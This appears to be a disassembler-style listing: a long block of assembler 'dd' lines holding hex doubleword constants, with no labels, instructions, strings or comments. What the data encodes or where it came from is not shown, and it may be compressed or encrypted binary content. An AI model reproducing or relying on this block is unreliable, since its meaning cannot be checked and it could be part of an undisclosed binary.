		dd 9024F21Bh, 0B938007Fh, 339BA4A5h, 0F80FA25Ah, 44AAB2Fh
		dd 4C818780h, 742C7D5Eh, 811FE010h, 0BF6D3AAh, 60743FE1h
		dd 0C2F50001h, 29E1C0BFh, 21001C07h, 832EB50Ah,	0F0391D0h
		dd 0EEC889E9h, 384A463Dh, 4793869h, 8B5E2A00h, 7AEDDAD5h
		dd 6B4B3F85h, 0B1569581h, 878D6F4Dh, 137C38F0h,	2B90ECF0h
		dd 0F2FD00F5h, 37464717h, 9E05ABCCh, 0BBB77618h, 0A3598800h
		dd 60EC1EA1h, 223010BCh, 0DF177520h, 8400C33Fh,	231CEA26h
		dd 0F6647E90h, 8B6200B4h, 346D849Ah, 0DD0030BAh, 59AC39B9h
		dd 13DC2637h, 413F11E1h
		dd 0D8D78E1Ch, 10828B7h, 0E42CF749h, 1FC8E69Ah,	4D971F2Ah
		dd 5F80B98Ah, 4FF10BD5h, 49585B41h, 39C41310h, 6A4C1900h
		dd 794DB6D7h, 0D01D4C33h, 0E91FB204h, 8F71303Ah, 4FB4A8CCh
		dd 3C180798h, 70BB6979h, 7390B45h, 7E52A31Eh, 0FDC64C80h
		dd 164D93F5h, 4B27492h,	0C0F0DDEEh, 0C356831Dh,	75764503h
		dd 0E82E2B01h, 2FB163h,	0E4D2D38Dh, 44480B9Ch, 0CA491100h
		dd 2C26A2F6h, 4A533C98h, 14DC0900h, 0EF1774ABh,	6C84B803h
		dd 0C104B787h, 0B13EC244h, 26DE0AFh, 3C00A84Eh,	0A59885DFh
		dd 84B600FEh, 0E4EC7FD5h, 0C91E94F4h, 89C0CCE8h, 0E91C7C10h
		dd 848D00BEh, 0D42849D8h, 4D015664h, 0C9B6C5FFh, 6074D596h
		dd 4A27000Bh, 0E430548Bh, 92160D25h, 0A81EC306h, 0C0B25FCFh
		dd 0C0EBF971h, 7D940093h, 0B56F5B25h, 0F007B85h, 0AD9CD7DEh
		dd 0ABE3A7Ah, 4CC5B147h, 0E54E03ECh, 0DEA390EAh, 38CA20C9h
		dd 0A6480034h, 1D517BC9h, 506B3A31h, 36BD250Dh,	0F0C8ED20h
		dd 0DB1C63F7h, 65C09F92h, 0B579DC0h, 8A2F00B0h,	54E97D20h
		dd 4A007C09h, 11C0C84Dh, 13B925F5h, 0D7A23C5h, 53205ED3h
		dd 2002C130h, 5FA6C05Dh, 0F70C810Ch, 8454DA86h,	334B4800h
		dd 3299391h, 6108F5C4h,	88013E77h, 34C63BC8h, 0A8D83FFBh
		dd 84322EAAh, 1A4C039Eh, 0F2F8B3CAh, 0C41C22A4h, 7BC011D8h
		dd 0FFB768BEh, 0AB8A0240h, 0A331C8A0h, 918D84A0h, 102894Ah
		dd 0B01A590Ch, 0D8C9C1B7h, 11530CCh, 31C57C4Bh,	30235191h
		dd 0CE90221Ch, 41ED6Fh,	35192618h, 0F55106C0h, 809F8CAh
		dd 21716Bh, 92311402h, 1EE1037Eh, 0CABF9078h, 151880Ch
		dd 193E617Fh, 189BE248h, 0D98852D4h, 36EF2C60h,	58D69106h
		dd 0C20848Ah, 0BA3C1B23h, 9010C018h, 0B201717Fh, 4A38D595h
		dd 57108072h, 8399A2D4h, 7424003Bh, 8EAE0FA3h, 0F6000907h
		dd 0D3174CC3h, 3B3473B3h, 8000BD9Dh, 0BED0A89Eh, 4A007DAFh
		dd 0FCF0EE42h, 0BCE3CBh, 0AA5D2C59h, 0C9C6B785h, 97EF0407h
		dd 0ECF01974h, 3C3D1BCDh, 9C80298Ch, 0B7FE8DBh,	8700E2B1h
		dd 9169EA52h, 0E4A2FBh,	90C90281h, 0CD955149h, 89CC5C3Dh
		dd 7283C2h, 0AE649159h,	4BF90D55h, 0E0287766h, 67E8485Ah
		dd 9AC76300h, 0F95D3C2h, 0ECDC00EDh, 0B54A62CCh, 59CF6694h
		dd 89144610h, 2FF70148h, 5AF65B97h, 3520B867h, 68802992h
		dd 785EE4h, 0D61677F2h,	0E61F4B35h, 9FC9F800h, 0F1F94715h
		dd 45AE1F94h, 8650002Fh, 5DAD6898h, 0D18F0809h,	37C300D5h
		dd 2659Dh, 149B75F9h, 11E37853h, 17A9C03h, 0F8FEB2C9h
		dd 39F4A250h, 3601C805h, 0C1E566A3h, 0D5F18068h, 0CE43E417h
		dd 0E8EC94h, 730B64CFh,	3CAB978Fh, 82B95202h, 0B7FB8A67h
		dd 77EF8404h, 80CF78B9h, 0B87C622Bh, 67E29404h,	27479FD3h
		dd 6602015Ah, 84EE028Ah, 0AB047D1Ch, 18A40D93h,	0E0AA2013h
		dd 312C6FCh, 0EA4B0155h, 99366951h, 8050096Bh, 500DAA34h
		dd 0DD0A4CB8h, 5783469h, 0D7A390Ch, 9E71E61Ch, 56BE8010h
		dd 8104550h, 8A66E60h, 0B81A0484h, 28F0170Ah, 0A5196444h
		dd 1C4C6109h, 30F70DEEh, 908EF7Ah, 3314110Ch, 6F4C430Bh
		dd 40FA1829h, 0C05052BCh, 8EB59182h, 0F54501C4h, 85F32D9Fh
		dd 5970564Dh, 0E03EC6F4h, 0E10D1DF8h, 1772FC29h, 0DC18D604h
		dd 4E10BA23h, 197B60E1h, 4F75641Fh, 7EF4D000h, 94704D99h
		dd 0F1741842h, 381D4178h, 396BC403h, 1C990769h,	73FE2651h
		dd 6915BF39h, 6ECDFE0h,	434C718Fh, 4480048h, 0E6CD2C07h
		dd 4D045F88h, 0E5C78263h, 7DD49090h, 78AB3012h,	0CC3F8A11h
		dd 0BEA92702h, 806EEA23h, 0A4070234h, 5848C0C9h, 0C891AE14h
		dd 8DA8213Eh, 8B87B6Bh,	0D58748BAh, 0C085ABB2h,	9E828005h
		dd 0A968D330h, 610DC77Fh, 79FE0855h, 52F3E07Eh,	0C107E036h
		dd 517D6748h, 0B04C4084h, 191FBC7Bh, 0FFC02060h, 12CF8CE2h
		dd 426D0099h, 0BC8D2A84h, 4E0066D5h, 83CB887h, 60619B0Eh
		dd 0F477D96Fh, 3628C303h, 870C8C45h, 0E83CE8A7h, 0BAC22689h
		dd 8580F7Ch, 8489114Ch,	10D3251Ch, 2AD19947h, 3238488Ch
		dd 0E28E37Bh, 750BE20h,	6042FF33h, 0D5888173h, 0B4215E8Bh
		dd 94D2F4h, 0FF3DE47Fh,	3308E581h, 0E1310F6Ch, 8608C1BAh
		dd 2462AA16h, 1D0764D0h, 0BC318114h, 0F0B3004Fh, 608C0786h
		dd 12052178h, 0FE3C9E81h, 0F7A161C8h, 0B04752F8h, 2A11AC5Ah
		dd 0E3599100h, 0C9E4D002h, 0B985450h, 0AD078512h, 0A89E2C4Ah
		dd 1003B0E8h, 0C08BFF92h, 240F6FD4h, 9D387A3Fh,	0D5052088h
		dd 742B8140h, 8C1EB82Ch, 20FE2744h, 40ECF78Dh, 75CF022Eh
		dd 13804F1Eh, 0ABD5881Ah, 0E7493E4Eh, 9F80F481h, 8F83A9D3h
		dd 941F0258h, 51113CA4h, 14D080F4h, 0CFFDD601h,	7CDD1CACh
		dd 0E8063CA3h, 0D88D1BF7h, 0C024500h, 0B056864Fh, 0AB7B077Ch
		dd 59E0D4E6h, 419D5004h, 926AD5C0h, 0B84AC994h,	0C4534D71h
		dd 0B8160515h, 184312Ah, 530DFF39h, 54EA0686h, 81D801A4h
		dd 0D3BD6F88h, 8C9460EAh, 118044ECh, 0A4C8453Eh, 0DC0C0CE1h
		dd 12F73102h, 9E48494h,	3014BA18h, 29C06A34h, 0AAE48841h
		dd 4C428127h, 0B20702F8h, 8011C02Ch, 91C058D3h,	0E0A83C86h
		dd 0E2170101h, 6E108489h, 0F7C27071h, 0E5407E64h, 0C0156747h
		dd 0E70CB184h, 7C4847F7h, 9884BB29h, 0E9AB2837h, 0BE7C243Ch
		dd 2A4F1E88h, 85E51D58h, 0D39905C7h, 0C48205Ch,	0E6504F07h
		dd 911DF7F0h, 7D46C78Ch, 0C80694Dh, 0E64E15E0h,	6719B3B0h
		dd 6F608A06h, 4AD5B825h, 64B7D170h, 0C8EC184Eh,	40C1678h
		dd 715BD099h, 0B749284Fh, 22DB43B0h, 42090079h,	0F45E63C6h
		dd 47E0810Bh, 99CD10C0h, 24DBC7h, 0A3EEC906h, 0CFD5D494h
		dd 0E68DF801h, 4A4D7BC8h, 1FCC7CE9h, 0C64307CDh, 0B47FE52Bh
		dd 0C9E34371h, 0CED4E07Bh, 621D3719h, 0DC3D7018h, 5030D046h
		dd 0DF6328D3h, 7CC31E05h, 680B07AAh, 62C980E2h,	4906EF6Bh
		dd 24C65EA2h, 0CC191F41h, 0E506036Ah, 10287E5Bh, 30018A69h
		dd 0EBD14EDFh, 7F0442Ch, 0C9430002h, 0D40D6D63h, 0BA0372A6h
		dd 1FF8EE8Dh, 0F0516823h, 502AF604h, 0E000A49Bh, 0FFAF10F5h
		dd 0F8FDD544h, 7DEF0341h, 3523C5E3h, 0CDD34580h, 0B8BCBF1Fh
		dd 2D07DD1Fh, 0C9C00124h, 30546958h, 0D45968EEh, 0A1011E28h
		dd 4D45FE55h, 51839ABFh, 0E4B7CA9h, 0C3622900h,	0D472D804h
		dd 161FF8F8h, 0CBE53Eh,	3647A793h, 113D2CEh, 8D195E67h
		dd 34417EF9h, 0C192E550h, 281B0C1Ah, 3000D119h,	0EB317BF9h
		dd 53EDCC1Fh, 3B2C70CEh, 157D00CBh, 14E33174h, 0E918EF76h
		dd 0A1E84164h, 4E983BDh, 46C8F01Ah, 0A57A4D12h,	8A6D1C08h
		dd 14E38D36h, 0E6C14C63h, 20C72D9Bh, 0E8A14214h, 7CBC50A6h
		dd 6652EF80h, 0FC1E0794h, 0A84CF54Bh, 0FD531EF0h, 1AD34533h
		dd 2EF02497h, 2C73AC04h, 93F5E85h, 0C0061B5h, 0B7D24ACBh
		dd 90017D00h, 9ACE7EB6h, 14C926Dh, 0E8BD70EFh, 0CB4CD0C8h
		dd 78EC2908h, 561A0881h, 88BE8C88h, 1888D107h, 6DB5887Ah
		dd 8284894h, 10B88A30h,	5B2684D4h, 0A080A448h, 41A7271h
		dd 0B08703D7h, 1572AA8h, 90E363B8h, 6B8A4300h, 0A4E1D964h
		dd 8FB503EEh, 14D83F28h, 20675698h, 0DA6E000h, 74B4F871h
		dd 31B80093h, 541BE919h, 5578E1A8h, 8107C93Fh, 625C84DFh
		dd 9D44BB2h, 0E8FB0920h, 0EF8E371Ah, 3AAEDA60h,	0C6B00789h
		dd 0FA92BD1Fh, 0D4DC4EC0h
		dd 0AB140Bh, 15932CDBh,	0B663A204h, 107821Dh, 0C42F15h
		dd 0FC61BBFAh, 1E96B9E8h, 80754FECh, 947EA2EAh,	0A4007CB1h
		dd 31382F3Eh, 850DF5h, 465FB67h, 95C8D980h, 0FFF5895h
		dd 1DA26296h, 447D14E0h, 0A700666Ch, 54DCBF0Bh,	3FCBD757h
		dd 145AABEEh, 5803001Dh, 678A4842h, 78467EF0h, 0A7891400h
		dd 0A3EB8C8Bh, 1C6D00A4h, 0A5CEBECFh, 0E003EAB2h, 8F497411h
		dd 0C0D9A01Dh, 1C3E0383h, 9564DC92h, 80EE18A0h,	36F4CE00h
		dd 26A32085h, 5A770557h, 80884FBBh, 749D78Fh, 0E9C40A00h
		dd 68FE8E81h, 0C3E62Ah,	95BC32DAh, 96F01FF7h, 89035C73h
		dd 0F8366F51h, 5B8FA8F6h, 75A200AFh, 191EF1C1h,	2D008243h
		dd 49A0BA50h, 0A8EB53h,	0D4D32090h, 2BD6CE77h, 0E1EC4A00h
		dd 1B25228Fh, 3089002Dh, 0D098BEB3h, 5E00EE3Dh,	15E7028Eh
		dd 4C6DDA20h, 88007225h, 0AC26E579h, 1F26F53Ch,	60126CD1h
		dd 39D79400h, 440F19h, 0FB6CC3BEh, 65BD920Dh, 4C23F700h
		dd 20706F9Eh, 1B1D2E18h, 6D440020h, 97D02C03h, 0DD91DA00h
		dd 31407224h, 0A238093Fh, 4407BFCFh, 0FE8FC0CDh, 0FF006287h
		dd 178CD765h, 8613F5h, 50106B01h, 0E7EC4B1Ah, 6D03AA79h
		dd 0DA165ADCh, 306E829h, 0C89812DEh, 9C20287Dh,	9F740907h
		dd 2007251h, 0F48E3FADh, 154B1F93h, 4621008Ch, 0A9B961E5h
		dd 0B2954000h, 830C3A08h, 0DDD801BBh, 3140966h,	54430087h
		dd 0C37AF932h, 88C41701h, 8100221Ch, 0AB247D6Ch, 72A1137h
		dd 0FD0CACE8h, 2091B37Bh, 24561800h, 0B4E6224Dh, 719F00FBh
		dd 4865CEE4h, 180077A6h, 0E039C04Eh, 0DEFEA2h, 0A9E80349h
		dd 148672E1h, 2F8F7E00h, 80A42EBCh, 0E49F00FFh,	0F040D002h
		dd 95023CCFh, 47AA3386h, 0C264403Ah, 80100008h,	0B11446A0h
		dd 1D00C537h, 88E1FAC8h, 0EE6D42DFh, 0D7D48F6h,	3AB3417h
		dd 4C6E6368h, 29035FC0h, 24C5D409h, 89102239h, 99FCE0B4h
		dd 3C060008h, 2BB3F381h, 22004764h, 5D1FEE30h, 0FAB0138Ch
		dd 5C4F3A0Ch, 86C66900h, 7C7B3A0Ah, 0C96A7700h,	4FA33B5Fh
		dd 0F64607A4h, 902E452Bh, 3824AD56h, 0B11DC00h,	0D31A09A5h
		dd 0A4940120h, 7CE32627h, 1E5834A9h, 0CF3DD20Ch, 3B9B2021h
		dd 6C802702h, 46D53732h, 83134B13h, 50006151h, 0FD8BD891h
		dd 3E5E47Dh, 0C6205B95h, 0D0BFB929h, 8BD21678h,	0BDC1A00h
		dd 5F46B43Ah, 0DB9F373Dh, 9BBF4010h, 0E30048D5h, 0AEF573C3h
		dd 982CBA42h, 1B310042h, 0D46F1215h, 49031930h,	0E69D581Dh
		dd 0D11000D7h, 0A7BAEBA0h, 0DA005186h, 0C9C8623Eh, 1D6ADD04h
		dd 23D209h, 98F31E38h, 0FEE8A53Ah, 7C009372h, 522F54D7h
		dd 648FE4h, 0DF1ABF1Eh,	717E7587h, 27635901h, 0FA813DCh
		dd 98E4D0h, 35085205h, 0B61C8FC5h, 76F84100h, 978B2144h
		dd 0C7C300D4h, 0AA117204h, 1A00FF65h, 8AD9EF1Bh, 4421CBh
		dd 39A3272Eh, 60A1167Ch, 17191D00h, 0A7E4FA78h,	0F9710007h
		dd 0C206E927h, 0C09388Fh, 2D03193h, 60CC0190h, 0A28A2Dh
		dd 33997FC4h, 85EFC874h, 0F858E41Fh, 43A90340h,	0FEB260ECh
		dd 41CE005Ch, 6769F146h, 960044CAh, 3F54A473h, 0EE5D71h
		dd 0C09306B1h, 646F8E95h, 94E7EF1Fh, 5ACB0204h,	8674B890h
		dd 10FF0306h, 0B6F7E52Dh, 1F313698h, 0C25B1C00h, 66F6357Dh
		dd 83E8A8C5h, 0F4D33B1Bh, 0C6DF1C80h, 55F31513h, 2A10D200h
		dd 26EF1704h, 27D94051h, 6BB47F00h, 9986B30Ch, 8B9A050h
		dd 258F0A5Ch, 3433BBh, 10CFB1FDh, 1200947Ch, 3E05EFCh
		dd 0A3B9A26h, 0CB8C67FFh, 385D0094h, 0CE063F2Dh, 0D49C6000h
		dd 64A3D19Eh, 0ED7B0A32h, 3D987EB4h, 0DB3E4080h, 0DD537FD7h
		dd 0E7959A07h, 8030EB32h, 538FF8Fh, 92936983h, 5C9400A4h
		dd 219F327Bh, 55A58D04h, 80875E6Fh, 0B5D873B0h,	2E2A0062h
		dd 9E017F91h, 8C7E61A2h, 64086B00h, 7568F5CBh, 5FFB0197h
		dd 0DAF80C92h, 1C99FF9Ah, 4C5DC0C7h, 0FEA96701h, 80D3AA69h
		dd 0A5E030h, 1BDCA7BDh,	8B550347h, 0F500ABF4h, 994F89Dh
		dd 4ADF04h, 22FB39C8h, 0F3297F1h, 0F7781400h, 1FC48C49h
		dd 25037956h, 0E0000441h, 16F89112h, 4C3A6C03h,	48B03FAEh
		dd 9A14DCE0h, 50002036h, 0CD2430F5h, 485834ECh,	0B6E48D4h
		dd 2073DDC2h, 41E9AFDCh, 0BD0FE35h, 444E28D8h, 140608A0h
		dd 4CB8A894h, 297138h, 2DEBB652h, 3116BDh, 0B5DE2270h
		dd 0B095A7DCh, 52096400h, 8ED24ABEh, 0F07826h, 2FD65550h
		dd 8032795Bh, 0C1BE1C00h, 0DD489E40h, 0CCDB0096h, 9D23F413h
		dd 0B703A972h, 8D47A6B1h, 3DB0BF4Ch, 9FB8DCh, 8ADF61D0h
		dd 8E7D6BBFh, 43CE871Fh, 9116E000h, 7B6576F9h, 0A407005Ah
		dd 0C91D5CABh, 51F2E7BBh, 0EE610B03h, 8890BD3Dh, 65C36Ah
		dd 0B84A7541h, 48F10159h, 0CBF7D8F5h, 0E81E2828h, 94D92F13h
		dd 0E696BC00h, 0F352A0h, 6A8DF7FDh, 0FB7C06A7h,	0C3197205h
		dd 0AC205133h, 0C8D5D97h, 136B809Bh, 5313DC19h,	0C40EF719h
		dd 3E686099h, 0B52AEFh,	31356B97h, 0C398B3A3h, 700D3200h
		dd 84F058F5h, 85940050h, 64A77AF4h, 24006687h, 1F7FEFE0h
		dd 501340B3h, 6036D446h, 318C4CD7h, 0E7E1A0Ch, 0FFBADD00h
		dd 6E3C6D14h, 61C000A2h, 0CBAB7D23h, 7AFC4F10h,	0D800A0B8h
		dd 67044593h, 0E8BD90Ah, 0AB520B54h, 740440D3h,	5BFD6AEBh
		dd 0DA4A0D04h, 0C1BE5E7Ah, 703301CDh, 5C26E8E8h, 5A00F758h
		dd 3ADA2238h, 0B284071Bh, 328619E3h, 0FF804F6Bh, 3E6F7F82h
		dd 77BDA802h, 40D35E59h, 89A70738h, 8AE8C71Ah, 6512B436h
		dd 0D42033EEh, 3B172CBBh, 0BC80074Eh, 2D1E0345h, 9F000493h
		dd 58C6D3EDh, 9C290106h, 315C9760h, 4062AA78h, 0CE19C1B4h
		dd 54B63Bh, 0BC9EC2E6h,	9150890h, 0FCD85D2Dh, 0F7007CFCh
		dd 0FA3A0295h, 0A9F20678h, 70311756h, 940AA300h, 246D0BDAh
		dd 9ADC012Ah, 0E543AA46h, 0B57880A9h, 604158CBh, 5F60A88Ch
		dd 60B874h, 69E7F3EBh, 4CC7150Dh, 7CE359h, 6605EC4Fh, 901D802Bh
		dd 507F006Ch, 37DE49A6h, 10017406h, 0DB53D7A7h,	0FDF4F977h
		dd 149B1FC8h, 30854093h, 0DEBA4DFAh, 0F9CE2100h, 4A9CE96Ah
		dd 5C6C00F5h, 0D5BE6F7Eh, 1F1DFC71h, 1DC034B4h,	0D1F3F26Eh
		dd 0B793002Ch, 702F22FFh, 8001C60h, 0FF9BAEAh, 4C072924h
		dd 67BD636h, 0C02D8293h, 1000B087h, 0E440AE42h,	79AFA564h
		dd 0F311039Bh, 79C45A23h, 71F8FC8h, 0E55E3Dh, 0A8C09849h
		dd 39436B0Bh, 18003FB5h, 4E1B96E8h, 0CA00653Bh,	48928BEEh
		dd 1C254255h, 4FD3335Dh, 0BDA0B409h, 0EA84B69Fh, 0DF728200h
		dd 152592D1h, 774A3AEFh, 0F9F4B80h, 7B2B7C1h, 8544B01Ch
		dd 0E21E547h, 0BB5BA550h, 69FB0032h, 0FEAE78F9h, 6000A3B6h
		dd 8CBD0C6Ah, 516011Ch,	0CCF9E323h, 7A9081E1h, 55DEFC9Ch
		dd 19762C00h, 4D7B8DB4h, 547C3FD6h, 0C0A9C89Dh,	91C4A330h
		dd 55988B07h, 564E3800h, 0FFB3D7AFh, 4DE90043h,	83CE50CFh
		dd 3600E0A2h, 44349B67h, 3E99F57Dh, 0BF00A938h,	0FE6E3F14h
		dd 8B008E17h, 0DAEB0221h, 24C72F58h, 0A840F1h, 0FB0D062Ah
		dd 0D8C06A74h, 551007F7h, 0A84100ACh, 2F3501C7h, 51009009h
		dd 0D95E26CEh, 0FB049A7h, 762ECFA5h, 0A04763E0h, 4EFE9943h
		dd 3E78D01Eh, 7AAAF0C0h, 20FFD9h, 3B2A17D4h, 0C05A27F4h
		dd 4307DE79h, 9DDA548Ch, 0FFE7A951h, 0EA6A8A0h,	0EB4915D5h
		dd 4B1F6B80h
		dd 250091E9h, 5B0993BDh, 3778F5h, 0D29AF717h, 0C42FE83Dh
		dd 13AFF000h, 6EDF5F60h, 0F330741h, 0A721C0DBh,	5790A05Ch
		dd 98691115h, 10D700C8h, 97EE08h, 68FCC546h, 0FB4FECB7h
		dd 5CF66100h, 0A781EB80h, 4240519h, 0C09949FFh,	3CC0DED4h
		dd 66B1F300h, 8E420798h, 0DBB82892h, 65D300D8h,	1BC03B61h
		dd 940311C9h, 0FED39F3h, 6B74880Bh, 210C0391h, 0BB178FD4h
		dd 3CCB4094h, 2C8954h, 0B041C767h, 84E9A7F3h, 5B70B403h
		dd 82D64AD5h, 3A82C1C9h, 3FDA2F20h, 0ED00526Ch,	0E0CACEABh
		dd 0EE07E2F5h, 960BD0E3h, 2C2FA0B0h, 41340009h,	83A94466h
		dd 68000697h, 4AFB2D3Dh, 199295E6h, 88F14516h, 15DC5039h
		dd 0BA009193h, 874724F7h, 5ECFDFh, 72B58514h, 0EFFA02CCh
		dd 0DD2A9D14h, 0E8A600D1h, 87415CC5h, 0D7CD016Eh, 0F68FBEABh
		dd 28589D1Bh, 18D9003Bh, 3ED2DAA4h, 0B82D03C1h,	0F20DCE3Fh
		dd 96DCC0DDh, 9D007C7Ah, 895CA0ADh, 4CFA5E04h, 930523AAh
		dd 808515CFh, 162C5F0Ah, 88A98200h, 784EAEB4h, 4A061CF4h
		dd 389C8BE1h, 5B44EF80h, 0B7A00A99h, 0E6786216h, 2F1DF02h
		dd 40971248h, 0E3D6104h, 93EA3C2Ch, 0A4F89A20h,	4B3EF0B0h
		dd 58F980F7h, 0A345D77Ch, 0D028001Dh, 0E39D4D13h, 0B400E2A6h
		dd 7AB5F707h, 463B94h, 0DFBC8E82h, 31D305AAh, 802F6223h
		dd 9104DEE7h, 0FCA8933Bh, 0D506BC4Bh, 0B43B0C9h, 6C0D01AAh
		dd 94A56B6Fh, 0B71B60E2h, 0B0F40800h, 7E3AA276h, 4FA80FF8h
		dd 50EE53D9h, 0A0029209h, 8D00FC0Bh, 409FE2h, 168B52EBh
		dd 0FF8FBC71h, 3E9ECB09h, 809C8944h, 7764F67Ch,	84E60033h
		dd 4666AB60h, 6B004205h, 0B9A69E34h, 3FEBED2h, 778A2945h
		dd 1D8894D5h, 1800BF25h, 489BAD2Fh, 55C09EBh, 82AAB9FFh
		dd 2CB80780h, 0E8E570B1h, 6607C463h, 25793993h,	0B692A1A0h
		dd 732C02D5h, 8B7C654Fh, 802F7560h, 0BE36F300h,	0CE545D01h
		dd 9E630064h, 11999025h, 0B403894Ch, 0D1ABECA5h, 0AD57E049h
		dd 7DBF0036h, 1ADBCECFh, 153C5B64h, 98308447h, 19801D67h
		dd 7E4301h, 3DD5225Ah, 4CDCCCFDh, 97609FF7h, 8F5FCB4Eh
		dd 0D8D600E9h, 1DD439A4h, 533A590h, 7A27EBEh, 4CB1DC10h
		dd 90078039h, 91FD3BFFh, 4E122F41h, 79F6188Fh, 8F260D80h
		dd 0EA006D13h, 910B45EDh, 153DA81h, 0C6523001h,	0C49FE4A4h
		dd 0F617760h, 0F32FED60h, 5BE970h, 0C6818908h, 96E6E00Bh
		dd 78E89F30h, 0A0614010h, 0E9AE5254h, 59DA060Bh, 750E301h
		dd 7FBCCD4Ch, 5027C0EBh, 4176732Dh, 9867EA00h, 90F8DE94h
		dd 230300DCh, 1FBFD7B0h, 9A4CEC0Fh, 8BD501E7h, 759B9ECAh
		dd 29EAC8h, 396A405Ah, 23053BB2h, 0E1C28F1Fh, 0A5C64D40h
		dd 1F3FA820h, 7AD9F98h,	0B767496Dh, 0EE943189h,	0DD46015h
		dd 9170ED00h, 78125CE7h, 0BFBC007Ah, 17399466h,	86001CC3h
		dd 463E8DDEh, 39D8B04Ch, 0E300ED4Eh, 0EEA647CCh, 70ED5E50h
		dd 85000289h, 0F7FF0ED4h, 0F20BBD9Ch, 0AAF51432h, 0D0AC8EAh
		dd 24CC60E0h, 51C100A4h, 0F0CFED4Bh, 1FE50419h,	21807E08h
		dd 0E351C926h, 1BF04254h, 5841BA0Bh, 0EC3E811Fh, 8FDCE23Fh
		dd 0D76200D6h, 0B16404E0h, 0CC2A5094h, 300BC5Ah, 0D4444334h
		dd 1D61A118h, 1AA4D3DCh, 0B2412108h, 0DCC8FD43h, 58604211h
		dd 0A7D8A3A8h, 0C1CD787Ah, 0E8356329h, 86123132h, 0A652F711h
		dd 807103E0h, 81C1125Fh, 0C48FFA2h, 0A7013AD9h,	1892AABEh
		dd 0C09894AEh, 0A5326008h, 0DB50FD03h, 647C5E88h, 63336068h
		dd 0B400A47h, 91308369h, 4FCC00F8h, 4D7203A7h, 0EDD70A2Bh
		dd 80057Dh, 0F588F2E8h,	527162D5h, 41D1DC00h, 0EADDC14Bh
		dd 4AD62C16h, 0BE230015h, 835A2A5Dh, 531F6D1Eh,	0A08BF700h
		dd 76446BD3h, 97DE00FAh, 71B6026h, 391FC831h, 0C017C44Fh
		dd 61E9BB00h, 1F16DDFCh, 8021AA93h, 0CC8AC65Ah,	0A903881Ch
		dd 0CDBE7E79h, 1207C1DCh, 3F4818B0h, 660069BFh,	0B7B9C53Ah
		dd 352C9A4h, 23EA7004h,	2800C828h, 1A32DCEEh, 0FC56EE0h
		dd 834EB49Bh, 1FF23680h, 4F002B20h, 42B8825Bh, 740184h
		dd 6219991h, 0A8EC5F37h, 18613B07h, 69C0CB07h, 304524h
		dd 13944FBh, 7CE8D983h,	70005CEAh, 0CF03B317h, 3D7A3FF1h
		dd 6D8199EEh, 0A88AE9E8h, 7174E081h, 12108CEFh,	0ECD7C9C2h
		dd 556400A2h, 677F5BFh,	6C002D5Ch, 9AD9C7B7h, 1E38E9Dh
		dd 3BF44D94h, 51C34B44h, 46AB17A4h, 12307083h, 896851A7h
		dd 98E1F7DFh, 778402C0h, 0AC8985Fh, 7674CAC8h, 0E8540080h
		dd 7A475D99h, 34D4F100h, 0A2F82371h, 65B10044h,	15CB0F1Eh
		dd 833C48C0h, 0D6E00046h, 81254B73h, 368702C9h,	0C3055CDDh
		dd 0A311CE0h, 83D7B71Fh, 60E2E500h, 0CE824Fh, 377F527Eh
		dd 1A3F9B45h, 0B63A8300h, 0F9446DDAh, 3ECBEA6Bh, 0B007088h
		dd 3BBF8B07h, 1C00DFE9h, 0AC8C1357h, 0C0A2F6h, 0FAD131F4h
		dd 0E4113D73h, 0B40BA972h, 0CBF276h, 0F5B07E8Ch, 39FAD9h
		dd 0B972E3C0h, 5047DC9Dh, 6FA69C0Eh, 0FFA180AEh, 8B65A4h
		dd 5FEBA953h, 7388D01Eh, 7B11D00h, 5121BECCh, 425D0083h
		dd 327E9F7Dh, 0ED00DCB6h, 62C6398Ch, 6037A4F5h,	0BEC17A5Dh
		dd 5B008F79h, 0CCF9A274h, 1EA846Bh, 7B42B0F5h, 0D0317129h
		dd 0E7002A36h, 8C051C7Eh, 4C15880Ah, 38001569h,	1A9383F3h
		dd 0BB01D6E7h, 0E0843CE4h, 0C8FB1EABh, 0FA1F35h, 83EBB009h
		dd 7191E9B5h, 86CBB419h, 0C1098A29h, 4F11103h, 128EAB11h
		dd 0E1310A6h, 2F08DD89h, 84528B44h, 6A90EF00h, 0BE64999Eh
		dd 298700E4h, 7D9AF80Eh, 4E023B65h, 0A66AEF4Bh,	0BA782299h
		dd 24EA9422h, 0AA34278Fh, 0E427C48h, 51E322F5h,	229C2822h
		dd 0D922BD50h, 40F724F3h, 2A3B3EACh, 6798CAh, 21ED4518h
		dd 48FC6DAEh, 80E37839h, 3E617C32h, 0FC40C63Ch,	6D5301F4h
		dd 98CBC3DFh, 902FC96h,	80E5063Eh, 3FEAE480h, 1C85128Dh
		dd 40A5CBCDh, 8AE35ADh,	0A3982192h, 7276B717h, 19CD3001h
		dd 0F9413B7Bh, 40D456DAh, 4A43000Dh, 0FE8283A2h, 2A001D6Eh
		dd 6467164Eh, 46AD4h, 452339E9h, 0B4E6C96Bh, 682D0F00h
		dd 0DA8DAB61h, 1DFBA143h, 0EA1CF02Bh, 0E61FF303h, 0A0D36164h
		dd 908378E3h, 955009Ah,	15FF129Dh, 3F00D28Ch, 7EECD927h
		dd 1706DCh, 659EBFAFh, 9A23B5F8h, 0E22B5Ch, 0A62A0E90h
		dd 5C95A3FEh, 8D03E7F5h, 0D3546A37h, 66B103D3h,	341180BDh
		dd 4197A080h, 383600C3h, 0D66C888Dh, 6300B702h,	4C65D822h
		dd 281018h, 5197AD50h, 0E9A4A80Dh, 9500347Fh, 0B1E71ECh
		dd 13E1DA0h, 0AAAEB984h, 30E9625Dh, 45714370h, 0A668D001h
		dd 0E14DE326h, 9F8EF8h,	0CBC6D2C8h, 7BF0134Eh, 0C1AE0102h
		dd 80DD041Dh, 52FBED86h, 0FCD8009Eh, 57556823h,	0EC030173h
		dd 0ADA458E5h, 0A869C84Eh, 0D5E11EBEh, 3E80BF99h, 67E7F433h
		dd 0DAB8D474h, 0FFC94607h, 6B533A81h, 5A500C17h, 71C0B182h
		dd 0E6D64100h, 1094EA9Fh, 3A250059h, 0F451C632h, 0FB00B9B1h
		dd 0DDC7D5F8h, 0FC5AFAEFh, 2B7701ABh, 62939854h, 12BBD8DAh
		dd 0BDE44900h, 3901E99Dh, 50C009Bh, 95FCAEE0h, 360028A8h
		dd 3BD74873h, 34749BFh,	4F71DF32h, 0D9D8AE7Dh, 4CC3C510h
		dd 0D84377DEh, 38D3C7Ch, 0CBBDEFFDh, 8A180F5Bh,	0A3187B28h
		dd 7CFC19h, 0EC383074h,	0E19405D4h, 815EB200h, 0DD80C1E6h
		dd 0A9AB0F95h, 0F9A260A6h
